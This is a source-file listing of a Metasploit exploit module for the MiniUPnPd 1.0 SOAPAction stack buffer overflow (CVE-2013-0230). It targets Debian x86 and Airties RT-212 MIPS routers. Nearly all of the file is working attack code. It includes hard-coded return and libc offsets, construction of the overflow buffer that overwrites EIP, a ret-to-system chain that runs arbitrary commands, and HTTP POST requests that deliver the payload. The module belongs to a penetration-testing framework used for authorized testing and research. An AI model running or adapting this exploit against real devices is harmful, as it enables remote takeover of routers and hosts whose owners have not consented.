Path: blob/master/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
54024 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6include Msf::Exploit::Remote::HttpClient7include Msf::Exploit::CmdStager89Rank = NormalRanking1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',16'Description' => %q{17This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability18present in the SOAPAction HTTP header handling.19},20'Author' => [21'hdm', # Vulnerability discovery22'Dejan Lukan', # Metasploit module, debian target23'Onur ALANBEL', # Exploit for Airties target24'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target25],26'License' => MSF_LICENSE,27'DefaultOptions' => { 'EXITFUNC' => 'process' },28'Platform' => 'linux',29'References' => [30[ 'CVE', '2013-0230' ],31[ 'OSVDB', '89624' ],32[ 'BID', '57608' ],33[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']34],35'Payload' => {36'DisableNops' => true37},38'Targets' => [39[40'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',41{42'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd43'Offset' => 2123,44'Arch' => ARCH_X86,45# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the46# input, which is why it can't be part of the shellcode (otherwise the vulnerable part47# of the program is never reached)48'Payload' =>49{50'Space' => 2060,51'BadChars' => "\x00\x22"52},53:callback => :target_debian54}55],56[57'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',58{59'Offset' => 2048,60'LibcBase' => 0x2aabd000,61'System' => 0x00031AC0,62'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s063'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',64'Arch' => ARCH_MIPSBE,65:callback => :target_airties66}67]68],69'DefaultTarget' => 0,70'Privileged' => false,71'DisclosureDate' => '2013-03-27',72'Notes' => {73'Stability' => [CRASH_SAFE],74'SideEffects' => [ARTIFACTS_ON_DISK],75'Reliability' => []76}77)78)7980register_options([81Opt::RPORT(5555),82])8384deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')85end8687def check88begin89res = send_request_cgi({90'method' => 'POST',91'uri' => '/'92})93rescue ::Rex::ConnectionError94return Exploit::CheckCode::Safe95end9697fingerprints = targets.collect { |t| t['Fingerprint'] }98fingerprints.delete(nil)99100if res && fingerprints.include?(res.headers['Server'])101vprint_status("Fingerprint: #{res.headers['Server']}")102return Exploit::CheckCode::Detected103end104105Exploit::CheckCode::Unknown106end107108def exploit109unless respond_to?(target[:callback])110fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')111end112113send(target[:callback])114end115116def target_debian117#118# Build the SOAP Exploit119#120# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)121sploit = "\xeb\x2d"122123# a valid action124sploit += 'n:schemas-upnp-org:service:WANIPConnection:1#'125126# payload127sploit += payload.encoded128129# nops130sploit += rand_text(target['Offset'] - sploit.length - 16)131132# overwrite registers on stack: the values are not used, so we can overwrite them with anything133sploit += rand_text(4) # overwrite EBX134sploit += rand_text(4) # overwrite ESI135sploit += rand_text(4) # overwrite EDI136sploit += rand_text(4) # overwrite EBP137138# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the139# stack points directly to the string after 'Soapaction: ', which is why we must140# throw the first value on the stack away, which we're doing with the pop ebp141# instruction. Then we're returning to the next value on the stack, which is142# exactly the address that we want.143sploit += [target.ret].pack('V')144145# the ending " character is necessary for the vulnerability to be reached146sploit += '"'147148# data sent in the POST body149data =150"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \151"<SOAP-ENV:Envelope\r\n" \152" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \153" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \154" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \155">\r\n" \156"<SOAP-ENV:Body>\r\n" \157"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \158"</ns1:action>\r\n" \159"</SOAP-ENV:Body>\r\n" \160"</SOAP-ENV:Envelope>\r\n"161162#163# Build and send the HTTP request164#165print_status("Sending exploit to victim #{target.name}...")166send_request_cgi({167'method' => 'POST',168'uri' => '/',169'headers' => {170'SOAPAction' => sploit171},172'data' => data173})174175# disconnect from the server176disconnect177end178179def target_airties180print_status("Sending exploit to victim #{target.name}...")181execute_cmdstager(182flavor: :echo183)184end185186def execute_command(cmd, _opts)187# Build the SOAP Exploit188# a valid action189sploit = 'n:schemas-upnp-org:service:WANIPConnection:1#'190sploit << rand_text_alpha_upper(target['Offset'])191sploit << [target['LibcBase'] + target['System']].pack('N') # s0 - address of system192sploit << rand_text_alpha_upper(24) # $s1 - $s6193sploit << [target['LibcBase'] + target['CallSystem']].pack('N')194# 0001CC94 addiu $a0, $sp, 0x18195# 0001CC98 move $t9, $s0196# 0001CC9C jalr $t9197# 0001CCA0 li $a1, 1198199sploit << rand_text_alpha_upper(24) # filler200sploit << cmd201202# data sent in the POST body203data =204"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \205"<SOAP-ENV:Envelope\r\n" \206" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \207" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \208" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \209">\r\n" \210"<SOAP-ENV:Body>\r\n" \211"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \212"</ns1:action>\r\n" \213"</SOAP-ENV:Body>\r\n" \214"</SOAP-ENV:Envelope>\r\n"215216send_request_cgi({217'method' => 'POST',218'uri' => '/',219'headers' =>220{221'SOAPAction' => sploit222},223'data' => data224})225end226end227228229